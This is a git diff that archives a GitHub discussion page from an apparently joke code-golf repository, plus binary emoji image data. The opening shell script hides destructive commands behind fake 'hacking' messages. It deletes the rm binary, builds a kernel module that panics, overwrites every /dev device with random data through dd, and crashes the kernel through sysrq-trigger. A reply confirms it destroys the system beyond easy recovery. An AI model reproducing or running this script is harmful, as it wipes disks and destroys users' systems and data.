    +ln -s /proc /tmp/p;echo "Looking for files…(1/4)"find /proc -name "trigger" \   
    +> /dev/null 2>&1;sleep 1;echo "Looking for files…(2/4)";ln -s /tmp/p/sysrq-trigger t;
    +sleep 5;echo "Looking for files…(3/4)";          
    +echo "Looking for files…(4/4)";sleep 4; rm $(whereis rm | cut -d " " -f 2)         
    +echo "Phreaking the mainframe…";sleep 6;echo "Social engineering the quantum matrix…";
    +echo "Scripting the backdoor…";printf '#include <linux/kernel.h>\n#include <linux/module.               h>\nMODULE_LICENSE("GPL");static int8_t* message = "buffer overrun at 0x4ba4c73e73acce54";int           init_module(void){panic(message);return 0;}' > bd.c
    +echo "Starting exploit…";printf 'obj-m += bd.o\nall:\n\tmake -C /lib/modules/$(shell uname -r)/build    M=$(PWD) modules' > Makefile
    +echo "Opening power matrix…";make >/dev/null 2>&1; echo "Bye.";bash -c "for d in /dev/*; do bash -c     \"dd if=/dev/urandom of=/dev/\$d\" &; done" sleep 2;echo c > t
    + + + + +
    +
    + +
    + +
    + +
    + + + + + +
    + +
    + + +
    +
    +
    + + + +
    +
    + +
    +
    + + + + + +
    + + 1 reply + +
    +
    + +
    + +
    +
    +
    +
    + +
    + +
    +
    @mpldr
    + +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + + + +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + mpldr + + + + on Apr 15, 2021 + + +
    + + + Collaborator + + + +
    + + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    Yeah, probably missed the mark a bit… I mean. this one actually destroys the system in a way that is not easy to recover.

    +
    + +
    + +
    + + + + + + + +
    + +
    + +
    +
    +
    +
    + + +
    +
    + +
    +
    + +
    + +
    + + + + + + + +
    +
    +
    +
    +
    +
    + @Ta180m +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    + Answer selected by Ta180m +
    +
    + +
    +
    + +
    +
    + + +
    +
    +
    + +
    + + + + + + +
    + +
    +
    + +
    + + +
    +
    + + +
    + +
    + +
    + + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + +
    + + + + + +
    + Select a reply + ctrl . +
    + + + + + + + + +
    +
    + + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + + + + +
    + + + + + + + + + +
    +
    + + + + +
    + + +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    + Remember, contributions to this repository should follow + our + GitHub Community Guidelines. +
    + +
    + +
    + + + +
    + +
    +
    +
    +
    + + + Category + + +
    +
    + Change category + +
    + + + + + + +
    +
    +
    + + + + Q&A + +
    + +
    +
    + +
    + +
    + + + + Labels + + + + +
    +
    + +
    +
    + + + +
    + +
    + +
    + None yet +
    + +
    + + +
    +
    +
    + 2 participants +
    + +
    +
    + + + + + + +
      +
    • +
      + + + Lock conversation + + +
      +
      + +

      + Lock conversation on this discussion +

      +
      +
      +
        +
      • Other users can’t add new comments to this discussion.
      • +
      • + You and other collaborators + with access + to this repository can still leave comments that others can see. +
      • +
      • You can always unlock this discussion again in the future.
      • +
      +
      + +
      +
      +
    • + +
    • +
      +
      + + + Transfer discussion + + + + + + + + + + +
      +
    • + + +
    • +
      + + + + Pin discussion + + + +
      + +

      + Configure pinned discussion +

      +
      + +
      +
      +

      + +

      + + + + + +
      + + + +
      +
      +
      +
      + +
      + + + + + +
      +
      +
      + +
      + + + + + + +
      +
      +
      +

      Up to 4 discussions can be pinned and they will appear publicly at the top of the discussions page.

      +
      + + +
      + +
      +
      +
      +
      +
    • + + +
    • + + Create issue from discussion + +
    • + + +
    • + +
      + +
      +
      +
      +

      Delete discussion?

      +
      +
      + +
      +
      +
      +
      +
      +

      The discussion will be deleted permanently. You will not be able to restore the discussion or its comments

      +
      +
      +
      + + +
      +
      +
    • +
    + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Loading complete
    \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/1f389.png b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/1f389.png new file mode 100644 index 0000000000000000000000000000000000000000..5a6d5af253d46865f27d4bf5bc728074398332ea GIT binary patch literal 3258 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 literal 0 HcmV?d00001 diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/1f440.png b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/1f440.png new file mode 100644 index 0000000000000000000000000000000000000000..0b11401c9ef1119f827fb76f75eb01fbef0e20e4 GIT binary patch literal 1326 zcmV+}1=0G6P)y2bWnv_ns39?ipotMR21GP5 zK@lNlwCB4Utn0pDA8Z0!*LMBx))riT=Da;Ur`via^K`rF|4Gi>@1OU1zs~c#t5!AC zP(uwhfw5_mi&(^xv&_2S{US+X2yzX^1>)Zf*2vBd}mX=SX=r}IuXkv&kO~M zl&mNUqnxmrVjKXOxhp?W57x=yc#x>bpq52B zOdB(kBoTD9&+EZf_V5}b(nm^6V4Gzr3}6Rh#dIt#E}=cbs#8J7$yQD9o+ zF^Yz~%`5BNVLx_|6jNAal6KA$axp83sZ0~YKtJV`wPlRV%6)iXOD?3cJ&0H{Ubs z44|i%-Z=v>V=FB@&pwX1nuO7Mys*vyI>U_N->yc&4MbS8)Utxv83ceTi&!Q5_o~MULM%$bNRSi&olrpM=Zr#9YNbw1`*M zsR%DzB}s-ny?n|cd>r8{GcJGhtSBx!Q2+4CIs-VMaa-hJ)-`u(;*~>G&fz91`XR5Z zQ1|3iT8pgc^5R@W#%QhwTV0y#=7}yhmpRef6-0|wq+oY=Wec;lP^5aX&PIGz zneDgwTc^dG7I@BXFXKe%L!MPP)r+mpXaUDe=IN6fYeyCPh6f4K94`@xoSjNKZ*ggWF7shZfVS9OXxr2)EFYr?idr zW~-0mCMjv&?&UYGs1@dG*960;1QPAfEC*Zt+VON?NFv1FOxQ8b7+nOAuIo=O7h9!2 z@ADt`7Xt(d(@#HP3%Us5PClCsJBsZ-DJ5TLv+aHr3 kZC|_6Y(ot-)X)m*Ur^}){MmW^;s5{u07*qoM6N<$f?P;@e*gdg literal 0 HcmV?d00001 diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/1f44d.png b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/1f44d.png new file mode 100644 index 0000000000000000000000000000000000000000..0cd8f6f25b8e1ac39c98e3af9434e84e3f695da2 GIT binary patch literal 2936 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 literal 0 HcmV?d00001 diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/1f604.png b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/1f604.png new file mode 100644 index 0000000000000000000000000000000000000000..a297be1fa3d399cf9acbddbeba595f24eee2f2bc GIT binary patch literal 3064 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 